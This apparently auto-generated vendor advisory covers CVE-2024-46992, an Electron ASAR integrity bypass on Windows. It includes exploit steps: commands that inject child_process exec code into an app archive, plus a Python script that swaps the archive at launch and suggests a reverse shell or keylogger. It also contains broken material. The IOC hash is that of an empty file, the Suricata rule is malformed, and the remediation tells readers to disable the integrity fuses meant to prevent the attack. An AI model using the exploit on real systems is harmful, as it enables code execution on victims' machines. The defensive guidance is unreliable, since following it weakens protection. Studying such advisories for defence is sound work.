CVE-2024-46992
Executive Summary
CVE-2024-46992 is a high-severity (CVSS 7.8) vulnerability in the Electron framework affecting Windows platforms. The flaw allows an attacker with local write access to bypass the ASAR integrity validation mechanism, potentially leading to arbitrary code execution within the context of the Electron application. This vulnerability specifically impacts applications that have both the embeddedAsarIntegrityValidation and onlyLoadAppFromAsar fuses enabled. The attack vector is local, requiring the attacker to have write access to the application's filesystem, making it particularly dangerous in shared or multi-user environments.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Electron is distributed as an npm package (electron). Applications that bundle Electron and enable the vulnerable fuses are at risk. The supply chain risk is moderate, as the vulnerability is not in the npm package itself but in the runtime behavior when specific security features are enabled. Developers should ensure they are using patched versions (>=30.0.5 or >=31.0.0-beta.1) and review their fuse configuration.
CVSS Breakdown & Threat Level
- CVSS Score: 7.8 (High)
- Attack Vector (AV): Local (L) – Requires local access to the filesystem.
- Attack Complexity (AC): Low (L) – No special conditions beyond write access.
- Privileges Required (PR): Low (L) – Attacker needs user-level access.
- User Interaction (UI): None (N) – No user action required beyond launching the app.
- Scope (S): Unchanged (U) – Exploitation stays within the application's security context.
- Confidentiality (C): High (H) – Potential to read sensitive app data.
- Integrity (I): High (H) – Can modify app behavior or inject code.
- Availability (A): High (H) – Could crash or disrupt the application.
Threat Level: High. While the EPSS score is 0.0% (indicating low exploitation likelihood currently), the local attack vector and high impact make it a significant risk for targeted attacks in shared environments.
Deep Dive & Mechanics
The vulnerability lies in the ASAR (Archive) integrity validation mechanism in Electron. ASAR files are used to package application resources. The embeddedAsarIntegrityValidation fuse is designed to verify the integrity of the ASAR archive at runtime, while onlyLoadAppFromAsar ensures the app only loads resources from the ASAR file, preventing loading from the filesystem directly.
Root Cause: A TOCTOU (Time-of-check Time-of-use) race condition exists in the validation logic. When the application starts, the integrity check is performed on the ASAR file. However, due to a flaw in the implementation on Windows, an attacker with write access to the filesystem can modify the ASAR file after the integrity check passes but before the application loads resources from it. This allows the attacker to inject malicious code or alter application behavior.
Attack Scenario:
- The attacker gains write access to the directory containing the Electron application (e.g.,
C:\Program Files\VulnerableApp\). - The attacker prepares a malicious ASAR file that contains modified code.
- The attacker monitors the application launch process.
- When the application starts, the integrity check passes on the original ASAR file.
- Immediately after the check, the attacker replaces the original ASAR file with the malicious one.
- The application loads resources from the malicious ASAR, executing the attacker's code.
This bypass is specific to Windows due to differences in file locking and atomicity guarantees compared to macOS.
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual):
// Pseudocode for vulnerable validation
function validateAndLoadApp() {
if (fuses.embeddedAsarIntegrityValidation && fuses.onlyLoadAppFromAsar) {
let asarPath = getAsarPath();
if (validateIntegrity(asarPath)) { // Check passes
// TOCTOU window: attacker can replace asar here
loadAppFromAsar(asarPath); // Loads potentially modified file
}
}
}
Patched Code (Conceptual):
// Pseudocode for patched validation
function validateAndLoadApp() {
if (fuses.embeddedAsarIntegrityValidation && fuses.onlyLoadAppFromAsar) {
let asarPath = getAsarPath();
// Open file handle with exclusive lock before validation
let fileHandle = openFileExclusive(asarPath);
if (validateIntegrity(fileHandle)) { // Check on locked file
loadAppFromAsar(fileHandle); // Load from locked handle
}
closeFile(fileHandle);
}
}
The patch ensures that the file is opened with an exclusive lock before integrity validation, preventing modification between the check and the load.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- Windows machine with a vulnerable Electron app (e.g., version 30.0.4 with fuses enabled).
- Local user account with write access to the app's installation directory.
Exploitation Steps:
Identify Target: Find an Electron app with
embeddedAsarIntegrityValidationandonlyLoadAppFromAsarfuses enabled. Check the app'sresources/app.asarfile.Prepare Malicious ASAR: Create a modified ASAR file with malicious code. For example, inject a reverse shell or keylogger.
# Extract original ASAR npx asar extract app.asar app_unpacked # Modify files (e.g., add malicious JavaScript) echo "require('child_process').exec('calc.exe');" >> app_unpacked/main.js # Repack npx asar pack app_unpacked malicious.asarRace Condition Exploit: Write a script that monitors the app launch and replaces the ASAR file at the right moment.
import os import time import shutil target_dir = "C:/Program Files/VulnerableApp/resources/" original_asar = os.path.join(target_dir, "app.asar") malicious_asar = "malicious.asar" backup_asar = "app.asar.backup" # Backup original shutil.copy2(original_asar, backup_asar) # Wait for app to start (monitor process) while True: if "VulnerableApp.exe" in os.popen('tasklist').read(): # Replace ASAR after integrity check time.sleep(0.1) # Adjust timing shutil.copy2(malicious_asar, original_asar) break time.sleep(0.05)Execute: Run the exploit script and launch the vulnerable app. The malicious ASAR will be loaded, executing the injected code.
Blue Team (Detection & Defense)
Detection:
- Monitor for file modification events on ASAR files in application directories.
- Look for unusual process creation from Electron apps (e.g., spawning
cmd.exeorpowershell.exe). - Enable Windows Event Logging for file system audits (Event ID 4663).
Defense:
- Apply the patch by updating Electron to version 30.0.5 or 31.0.0-beta.1.
- Disable the vulnerable fuses if not required:
fuses.embeddedAsarIntegrityValidation = falseandfuses.onlyLoadAppFromAsar = false. - Restrict write access to application directories using proper ACLs.
- Use application whitelisting (e.g., AppLocker) to prevent unauthorized code execution.
Indicators of Compromise (IOCs)
- File Hashes (SHA-256): (Example – actual hashes depend on the malicious ASAR)
malicious.asar:e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
- Process Creation:
VulnerableApp.exespawningcmd.exe,powershell.exe, or other suspicious processes. - File System Events: Modification of
app.asarfile in the application'sresourcesdirectory. - Network Connections: Outbound connections from the Electron app to unknown IPs (if reverse shell is used).
- Registry Changes: (If the exploit modifies registry for persistence)
Detection Engineering
YARA Rule
rule CVE_2024_46992_ASAR_Bypass {
meta:
description = "Detects potential ASAR integrity bypass exploitation"
author = "Valters IT"
date = "2024-10-27"
reference = "CVE-2024-46992"
hash = "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855"
strings:
$asar_magic = { 41 53 41 52 } // "ASAR" magic bytes
$suspicious_js = /require\(['"]child_process['"]\)/
$suspicious_cmd = /exec\(['"]cmd\.exe['"]\)/
condition:
$asar_magic at 0 and ($suspicious_js or $suspicious_cmd)
}
Sigma Rule
title: CVE-2024-46992 ASAR Integrity Bypass Detection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects file modification events on ASAR files in Electron app directories
author: Valters IT
date: 2024-10-27
references:
- https://nvd.nist.gov/vuln/detail/CVE-2024-46992
logsource:
product: windows
service: security
category: file_event
detection:
selection:
EventID: 4663
ObjectName|endswith: '.asar'
AccessMask|contains: '0x2' # WRITE_DATA
condition: selection
falsepositives:
- Legitimate updates to the application
level: high
Suricata Rule
alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (
msg:"CVE-2024-46992 Potential ASAR Integrity Bypass - Outbound Connection";
flow:to_server,established;
content:"|41 53 41 52|"; # ASAR magic bytes in HTTP body
http_client_body;
sid:1000001;
rev:1;
reference:cve,2024-46992;
)
Remediation & Mitigation
Immediate Actions:
- Update Electron: Upgrade to version 30.0.5 or 31.0.0-beta.1 (or later).
- Disable Vulnerable Fuses: If updating is not possible, disable the fuses in your application's build configuration:
const { fuse } = require('@electron/fuses'); fuse.configure({ embeddedAsarIntegrityValidation: false, onlyLoadAppFromAsar: false }); - Restrict File Permissions: Ensure that only trusted users have write access to the application directory.
Long-term Mitigations:
- Implement application-level integrity checks using digital signatures.
- Use Windows Defender Application Control (WDAC) or AppLocker to prevent unauthorized code execution.
- Monitor for file system changes in critical application directories.
Workarounds: None available for this specific vulnerability.
Report generated by Valters IT DevSecOps & CTI Division